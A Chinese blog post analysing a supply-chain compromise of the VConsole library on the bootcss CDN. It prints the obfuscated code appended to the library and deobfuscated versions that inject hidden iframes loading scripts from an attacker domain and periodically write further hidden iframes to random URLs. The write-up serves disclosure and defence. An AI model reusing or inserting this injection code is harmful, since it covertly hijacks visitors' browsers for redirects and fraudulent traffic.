bootcss CDN VConsole 投毒
本文最后更新于 2026年4月5日 下午
本文只是一个记录,不是攻击教程,也不要访问文中的恶意网站,后果自负
背景
2026年3月31日,为了方便调试,我在开发时使用了 bootcss CDN 上的 VConsole 库,发现页面加载时间变长,并且一段时间后有概率跳转到恶意网站,经过分析,发现 bootcss CDN 上的 VConsole 库被投毒了,攻击者替换了原来的库文件,注入了恶意代码。
分析
1. 查看 VConsole Elements
发现多了一个隐藏的,给了相当高权限的 iframe,src 指向了一个未知网站

2. 抓包
这个恶意包可能只在手机上会被拉取,在 pc 上没有成功复现
发现请求了两次 VConsole 库,第一次是投毒的版本,第二次是正常版本
并且后续发现其他恶意请求 
3. 恶意代码分析
首先发现恶意 VConsole 代码最后多了一段代码 1
var _0x30f682=_0x2e91;(function(_0x3a24cc,_0x4f1e43){var _0x2f04e2=_0x2e91,_0x52ac4=_0x3a24cc();while(!![]){try{var _0x5e3cb2=parseInt(_0x2f04e2(0xcc))/0x1*(parseInt(_0x2f04e2(0xd2))/0x2)+parseInt(_0x2f04e2(0xb3))/0x3+-parseInt(_0x2f04e2(0xbc))/0x4*(parseInt(_0x2f04e2(0xcd))/0x5)+parseInt(_0x2f04e2(0xbd))/0x6*(parseInt(_0x2f04e2(0xc8))/0x7)+-parseInt(_0x2f04e2(0xb6))/0x8*(-parseInt(_0x2f04e2(0xb4))/0x9)+parseInt(_0x2f04e2(0xb9))/0xa*(-parseInt(_0x2f04e2(0xc7))/0xb)+parseInt(_0x2f04e2(0xbe))/0xc*(-parseInt(_0x2f04e2(0xc5))/0xd);if(_0x5e3cb2===_0x4f1e43)break;else _0x52ac4['push'](_0x52ac4['shift']());}catch(_0x4e013c){_0x52ac4['push'](_0x52ac4['shift']());}}}(_0xabf8,0x5b7f0));var __encode=_0x30f682(0xd5),_a={},_0xb483=[_0x30f682(0xb5),_0x30f682(0xbf)];(function(_0x352778){_0x352778[_0xb483[0x0]]=_0xb483[0x1];}(_a));var __Ox10e985=[_0x30f682(0xcb),_0x30f682(0xce),_0x30f682(0xc0),_0x30f682(0xc3),_0x30f682(0xc9),'setAttribute',_0x30f682(0xc6),_0x30f682(0xd4),_0x30f682(0xca),_0x30f682(0xd1),_0x30f682(0xd7),_0x30f682(0xb8),_0x30f682(0xb7),_0x30f682(0xd3),'no-referrer',_0x30f682(0xd6),_0x30f682(0xba),'appendChild',_0x30f682(0xc4),_0x30f682(0xcf),_0x30f682(0xbb),'删除',_0x30f682(0xd0),'期弹窗,',_0x30f682(0xc1),'jsjia',_0x30f682(0xc2)];function _0x2e91(_0x594697,_0x52ccab){var _0xabf83b=_0xabf8();return _0x2e91=function(_0x2e910a,_0x2d0904){_0x2e910a=_0x2e910a-0xb3;var _0x5e433b=_0xabf83b[_0x2e910a];return _0x5e433b;},_0x2e91(_0x594697,_0x52ccab);}window[__Ox10e985[0x0]]=function(){var _0x48ab79=document[__Ox10e985[0x2]](__Ox10e985[0x1]);_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3],__Ox10e985[0x4]),_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]]=__Ox10e985[0x8],_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]]=__Ox10e985[0x8],_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]]=__Ox10e985[0xb],_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]]=__Ox10e985[0x8],_0x48ab79[__Ox10e985[0xd]]=__Ox10e985[0xe],_0x48ab79[__Ox10e985[0xf]]=__Ox10e985[0x10],document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);},function(_0x2492c5,_0x10de05,_0x10b59e,_0x49aa51,_0x2cab55,_0x385013){_0x385013=__Ox10e985[0x13],_0x49aa51=function(_0x2c78b5){typeof alert!==_0x385013&&alert(_0x2c78b5);;typeof console!==_0x385013&&console[__Ox10e985[0x14]](_0x2c78b5);},_0x10b59e=function(_0x42b8c7,_0x977cd7){return _0x42b8c7+_0x977cd7;},_0x2cab55=_0x10b59e(__Ox10e985[0x15],_0x10b59e(_0x10b59e(__Ox10e985[0x16],__Ox10e985[0x17]),__Ox10e985[0x18]));try{_0x2492c5=__encode,!(typeof _0x2492c5!==_0x385013&&_0x2492c5===_0x10b59e(__Ox10e985[0x19],__Ox10e985[0x1a]))&&_0x49aa51(_0x2cab55);}catch(_0x57c008){_0x49aa51(_0x2cab55);}}({});function _0xabf8(){var _0x503a60=['http://www.sojson.com/javascriptobfuscator.html','createElement','还请支持我们的工作','mi.com','src','body','16721731lEccKs','width','1450515IgSsSQ','49faOBBE','https://www.cdnboostcache.com/sdk.html?s=bcs','0px','onload','3031TDvqkk','5wlfbud','iframe','undefined','版本号js会定','height','394HRogfN','referrerPolicy','style','jsjiami.com','sandbox','display','2071497kVsLsw','711twSQzP','_decode','32024UfDDBW','frameborder','none','10ZPsgHQ','allow-same-origin allow-forms allow-scripts','log','1540476RTPMoy','492168jwboEb','12HdquZB'];_0xabf8=function(){return _0x503a60;};return _0xabf8();}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0x352778) {
_0x352778[_0xb483[0x0]] = _0xb483[0x1];
})(_a);
var __Ox10e985 = ["onload", "iframe", "createElement", "src", "https://www.cdnboostcache.com/sdk.html?s=bcs", 'setAttribute', "width", "style", "0px", "height", "display", "none", "frameborder", "referrerPolicy", 'no-referrer', "sandbox", "allow-same-origin allow-forms allow-scripts", 'appendChild', "body", "undefined", "log", '删除', "版本号js会定", '期弹窗,', "还请支持我们的工作", 'jsjia', "mi.com"];
window[__Ox10e985[0x0]] = function () {
var _0x48ab79 = document[__Ox10e985[0x2]](__Ox10e985[0x1]);
_0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]);
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]] = __Ox10e985[0x8];
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]] = __Ox10e985[0x8];
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]] = __Ox10e985[0xb];
_0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]] = __Ox10e985[0x8];
_0x48ab79[__Ox10e985[0xd]] = __Ox10e985[0xe];
_0x48ab79[__Ox10e985[0xf]] = __Ox10e985[0x10];
document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
};
(function (_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
_0x385013 = __Ox10e985[0x13];
_0x49aa51 = function (_0x2c78b5) {
if (typeof alert !== _0x385013) {
alert(_0x2c78b5);
}
;
if (typeof console !== _0x385013) {
console[__Ox10e985[0x14]](_0x2c78b5);
}
};
_0x10b59e = function (_0x42b8c7, _0x977cd7) {
return _0x42b8c7 + _0x977cd7;
};
_0x2cab55 = __Ox10e985[0x15] + (__Ox10e985[0x16] + __Ox10e985[0x17] + __Ox10e985[0x18]);
try {
_0x2492c5 = "jsjiami.com";
if (!(typeof _0x2492c5 !== _0x385013 && _0x2492c5 === __Ox10e985[0x19] + __Ox10e985[0x1a])) {
_0x49aa51(_0x2cab55);
}
} catch (_0x57c008) {
_0x49aa51(_0x2cab55);
}
})({});1
2
3
4
5
6
7
8
9
10
11
12window.onload = function () {
var hiddenIframe = document.createElement("iframe");
hiddenIframe.setAttribute("src", "https://www.cdnboostcache.com/sdk.html?s=bcs");
hiddenIframe.style.width = "0px";
hiddenIframe.style.height = "0px";
hiddenIframe.style.display = "none";
hiddenIframe.style.frameborder = "0px";
hiddenIframe.referrerPolicy = "no-referrer";
hiddenIframe.sandbox = "allow-same-origin allow-forms allow-scripts";
hiddenIframe.setAttribute("frameborder", "0");
document.body.appendChild(hiddenIframe);
};
这个 iframe 加载的网站代码如下
1
2
3
4
5
6
7
8
9
10<html>
<head>
<meta name="referrer" content="no-referrer" />
</head>
<body>
<script>var zyt=new Date().getTime();</script>
<script></script>
<script src="https://www.cdnboostcache.com/you.js?version=33"></script>
</body>
</html>sdk16.1.0.js
1
2
3var arr = [
// 一系列网站 URL
];you.js
反混淆后的数组:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86const _0x3ad34e = _0x1d93;
// 该函数每次都返回同一个数组引用,而不是每次创建一个新数组
// 注意到有些位置的数据是无意义的,这些数据是用来恢复混淆的
function _0x1d51() {
const _0x4bd915 = ['5166090RgjAQs', '243924tvTnVE', 'replaceAll', '793930AfMpNl', '\x27\x20width=\x270\x27\x20height=\x270\x27></iframe></div>', '633636UIVEHu', '6rAPXTs', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnoprstuvwxyz123456789', ')+\x22', 'writeln', 'getHours', '{int', '1234567890', 'yck()', 'charAt', '10whQnVn', '1162052YgyQqa', '\x22+randomString2(', 'length', '6936OypMdO', '169021MsRSKc', 'random', 'floor', '910YYvdtI', '{str', '<div><iframe\x20style=\x22display:none;\x22\x20referrerPolicy=\x22no-referrer\x22\x20security=\x22restricted\x22\x20sandbox=\x22allow-same-origin\x20allow-forms\x20allow-scripts\x22\x20src=\x27', '56wMQiDb', '803JYHWyk', 'abcdefghijklmnoprstuvwxyz123456789'];
_0x1d51 = function() {
return _0x4bd915;
}
;
return _0x1d51();
}
// 修改了数组,用于混淆,解开混淆的方式是不断 push(shift()) 旋转数组
// 直到数组特定位置元素的指纹匹配预设值 0xade83
(function(_0x35f6c5, _0x211aef) {
const _0x10c52c = _0x1d93
, _0x47995b = _0x35f6c5();
while (!![]) {
try {
const _0xf232ab = parseInt(_0x10c52c(0x12e)) / 0x1 * (parseInt(_0x10c52c(0x129)) / 0x2) + parseInt(_0x10c52c(0x13d)) / 0x3 * (parseInt(_0x10c52c(0x12a)) / 0x4) + parseInt(_0x10c52c(0x137)) / 0x5 + -parseInt(_0x10c52c(0x12d)) / 0x6 * (-parseInt(_0x10c52c(0x131)) / 0x7) + -parseInt(_0x10c52c(0x134)) / 0x8 * (parseInt(_0x10c52c(0x13c)) / 0x9) + parseInt(_0x10c52c(0x13a)) / 0xa + parseInt(_0x10c52c(0x135)) / 0xb * (-parseInt(_0x10c52c(0x138)) / 0xc);
if (_0xf232ab === _0x211aef)
break;
else
_0x47995b['push'](_0x47995b['shift']());
} catch (_0x12eb8c) {
_0x47995b['push'](_0x47995b['shift']());
}
}
}(_0x1d51, 0xade83));
function randomString(_0x55dd4b) {
const _0x257007 = _0x1d93;
_0x55dd4b = _0x55dd4b || 0x20;
let _0x3c3f9f = _0x257007(0x136)
, _0x58de63 = _0x3c3f9f['length']
, _0x11920f = ''
, _0x4b55ec = 0x0;
while (_0x4b55ec < _0x55dd4b) {
_0x11920f += _0x3c3f9f['charAt'](Math['floor'](Math[_0x257007(0x12f)]() * _0x58de63)),
_0x4b55ec++;
}
return _0x11920f;
}
function _0x1d93(_0x1fd9c6, _0x3490dd) {
_0x1fd9c6 = _0x1fd9c6 - 0x124;
const _0x1d51ab = _0x1d51();
let _0x1d9322 = _0x1d51ab[_0x1fd9c6];
return _0x1d9322;
}
function randomString2(_0x592dd6) {
const _0x3a1879 = _0x1d93;
_0x592dd6 = _0x592dd6 || 0x20;
let _0x1fda17 = _0x3a1879(0x13e)
, _0x4f7b5e = _0x1fda17['length']
, _0x1f2fdc = ''
, _0x40fa66 = 0x0;
while (_0x40fa66 < _0x592dd6) {
_0x1f2fdc += _0x1fda17['charAt'](Math[_0x3a1879(0x130)](Math['random']() * _0x4f7b5e)),
_0x40fa66++;
}
return _0x1f2fdc;
}
function randomInt(_0x1c3607) {
const _0x4cd9c6 = _0x1d93;
_0x1c3607 = _0x1c3607 || 0x20;
let _0x236980 = _0x4cd9c6(0x126)
, _0x335416 = _0x236980[_0x4cd9c6(0x12c)]
, _0x5d911b = ''
, _0x5c605f = 0x0;
while (_0x5c605f < _0x1c3607) {
_0x5d911b += _0x236980[_0x4cd9c6(0x128)](Math[_0x4cd9c6(0x130)](Math['random']() * _0x335416)),
_0x5c605f++;
}
return _0x5d911b;
}
function tihuan(_0x4a3509) {
const _0x5147e0 = _0x1d93;
return _0x4a3509 = '\x22' + _0x4a3509 + '\x22',
eval(_0x4a3509[_0x5147e0(0x139)](_0x5147e0(0x125), '\x22+randomInt(')[_0x5147e0(0x139)](_0x5147e0(0x132), _0x5147e0(0x12b))['replaceAll']('}\x22', ')')['replaceAll']('}', _0x5147e0(0x13f)));
}
function yck() {
const _0x30df94 = _0x1d93;
var _0x3931a9 = Math['floor'](Math[_0x30df94(0x12f)]() * arr[_0x30df94(0x12c)]);
document[_0x30df94(0x140)](_0x30df94(0x133) + tihuan(arr[_0x3931a9]) + _0x30df94(0x13b));
}
var thisDate = new Date()
, currentTime = thisDate[_0x3ad34e(0x124)]()
, yctimename = setInterval(_0x3ad34e(0x127), 0xea60);翻译一下1
['getHours', '{int', '1234567890', 'yck()', 'charAt', '10whQnVn', '1162052YgyQqa', '"+randomString2(', 'length', '6936OypMdO', '169021MsRSKc', 'random', 'floor', '910YYvdtI', '{str', `<div><iframe style="display:none;" referrerPolicy=…llow-same-origin allow-forms allow-scripts" src='`, '56wMQiDb', '803JYHWyk', 'abcdefghijklmnoprstuvwxyz123456789', '5166090RgjAQs', '243924tvTnVE', 'replaceAll', '793930AfMpNl', "' width='0' height='0'></iframe></div>", '633636UIVEHu', '6rAPXTs', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnoprstuvwxyz123456789', ')+"', 'writeln']1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40function randomString2(length) {
length = length || 32;
const charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnoprstuvwxyz123456789'
const charsetLength = charset.length
const result = ''
for (let i = 0; i < length; i++) {
result += charset.charAt(Math.floor(Math.random() * charsetLength));
}
return result;
}
function randomInt(length) {
length = length || 32;
const digits = '1234567890'
const digitsLength = digits.length
let result = ''
for (let i = 0; i < length; i++) {
result += digits.charAt(Math.floor(Math.random() * digitsLength));
}
return result;
}
function tihuan(template) {
template = '"' + template + '"';
return eval(
template
.replaceAll('{int', '"+randomInt(')
.replaceAll('{str', '"+randomString2(')
.replaceAll('}"', ')')
.replaceAll('}', ')+"')
);
}
function yck() {
const randomIndex = Math.floor(Math.random() * arr.length);
document.writeln(
`<div><iframe style="display:none;" referrerPolicy="no-referrer" security="restricted" sandbox="allow-same-origin allow-forms allow-scripts" src=${tihuan(arr[randomIndex])} width='0' height='0'></iframe></div>`
);
}
const thisDate = new Date()
const currentTime = thisDate.getHours()
const yctimename = setInterval('yck()', 60000);
搜索发现 CDN 被投毒的情况并不罕见,之前也有过类似的事件,第三方CDN被投毒,开发时还是不要偷懒,从官方源下载然后本地引入比较好。